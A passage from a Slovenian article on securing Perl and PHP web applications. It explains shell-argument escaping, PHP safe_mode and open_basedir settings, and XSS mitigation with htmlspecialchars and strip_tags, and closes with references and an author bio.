2. string escapeshellarg(string arg).

Prva predstavi znake s posebnim pomenom za lupino operacijskega sistema z ubežnicami. Konkretno pred naslednje znake postavi levo poševnico: #&;` |*?~<>^()[]{}$\, \x0A, \xFF. Znaka ' in", pa le kadar ne nastopata v parih. Na operacijskih sistemih Okna pa iste znake in še znak % spremeni v presledke.

Druga funkcija postavi vhodni niz med enojne narekovaje, v primeru pa, da so v nizu že enojni narekovaji, doda še vsakemu od njih enojni narekovaj ali levo poševnico. Ti funkciji torej uporabljamo za varno predstavitev argumentov sistemskim ukazom.

Pomembna zaščita, kadar imamo na istem strežniku več spletnih mest (pogosto pri spletnem gostovanju), so tudi ustrezne nastavitve načinov safe_mode, safe_mode_exec_dir, safe_mode_gid, safe _mode_include_dir, safe_mode_allowed_env_vars, safe_mode_protected_env_vars, open_basedir, disable_functions in disable_classes [4].

Prav tako kot pri spletnih aplikacijah s Perlom so tudi PHP aplikacije ranljive za napade XSS, SQL vrivanje ... Pred njimi se varujemo s filtriranjem vhodnih podatkov ter z uporabo funkcij [7]:

1. string htmlspecialchars (string niz [, int quote_style [, string charset]]), s to funkcijo preprečimo napadalcu, da bi kot vhod podal HTML vnos (pričakujemo navaden niz). Primer uporabe:

```
<?php
$niz = htmlspecialchars("<a href='test'>Test</
a>", ENT_QUOTES);
echo $niz; // IZPIŠE: &lt;a href=&#039;test
&#039;&gt;Test&lt;/a&gt;
?>
```

2. string strip_tags (string niz [, string allowable_tags]), ta funkcija skuša iz niza odstraniti vse HTML in PHP oznake. Primer uporabe:

```
<?php
$tekst = '<p>Testni odstavek</p><!— Komentar —> Drugi
tekst';
echo strip_tags($tekst);  //Izpiše: Testni odstavek Drugi tekst
echo "\n";
// Dovolimo oznako <p>
echo strip_tags($tekst, '<p>');  // Izpiše <p>Testni odstavek</
p> Drugi tekst
?>
```

5 Sklep

Perl in predvsem PHP sta zelo priljubljena skriptna jezika za izdelavo spletnih aplikacij. Te so pogosto tarče hekerjev, ker v njih za varnost ni dovolj dobro poskrbljeno. Poleg splošnih nevarnosti (XSS, SQL Injection ...), ki grozijo vsem spletnim rešitvam ne glede na tehnologijo, smo si podrobneje ogledali specifične slabosti v omenjenima jezikoma in pokazali načine, kako jih ublažiti. Specifične slabosti v Perlu so ničelni znak, poševnice in težave s cevmi.

Specifične težave PHP-ja so globalne spremenljivke, vključevanje datotek, nalaganje uporabniških datotek ter mehanizem sej med brskalnikom in strežnikom. Ranljive so tudi komercialne rešitve, kot so Microsoftov ASP.NET in IBM-ov Websphere; za vse pa velja, da mora za varnost poskrbeti predvsem razvijalec sam.

6 Viri in literatura

[1] Michael Howard, David LeBlanc: Writing Secure Code, Microsoft Press, 2003.

[2] Ivan Verdonik, Tomaž Bratuša: Hekerski vdori in zaščita, Založba Pasadena, 2005.

[3] Lincoln D. Stein, John N. Stewart: The World Wide Web Security FAQ, http://www.w3.org/Security/Faq/www-security-faq.html, 2005.

[4] Ian Gilfillan: Secure Programming with PHP, http://www.webdeveloper.com/security/, 2005.

[5] Jeremiah Grossman, Sverre H. Huseby, Amit Klein, Mitja Kolšek, Aaron C. Newman, Steve Orrin in drugi: Web Application Security Consortium: Threat Classification, 2005.

[6] Perl Security, http://www.xav.com/perl/lib/Pod/perlsec.html, 2005.

[7] Dave Clark: PHP Security Mistakes, http://www.devshed.com/c/a/PHP/PHP-Security-Mistakes/, 2005.

[8] Stuart McClure, Joel Scambray, George Kurtz:Hacking Exposed Fifth Edition: Network Security Secrets & Solutions, McGraw-Hill/Osborne, 2005.

[9] Greg Hoglund, Gary McGraw: Exploiting Software: How to Break Code, Addison-Wesley, 2003.

[10] Regularni izrazi: http://www.regular-expressions.info/tutorial.html, 2006.

[11] R. Allen Wyke, Donald B. Thomas: Perl a Beginner's Guide, Osborne/McGraw-Hill, 2001.

Ivan Verdonik je leta 1993 diplomiral na Fakulteti za računalništvo in informatiko Univerze v Ljubljani ter magistriral leta 2005 na Fakulteti za elektrotehniko in računalništvo Univerze v Mariboru. Je avtor več člankov v poljudnostrokovnih revijah (Monitor, Varnostni forum) in glavni avtor knjige Hekerski vdori in zaščita. Prispeval je dve predavanji na računalniških konferencah. Ukvarja se z raznimi vidiki računalniške varnosti in kvantnim računalništvom.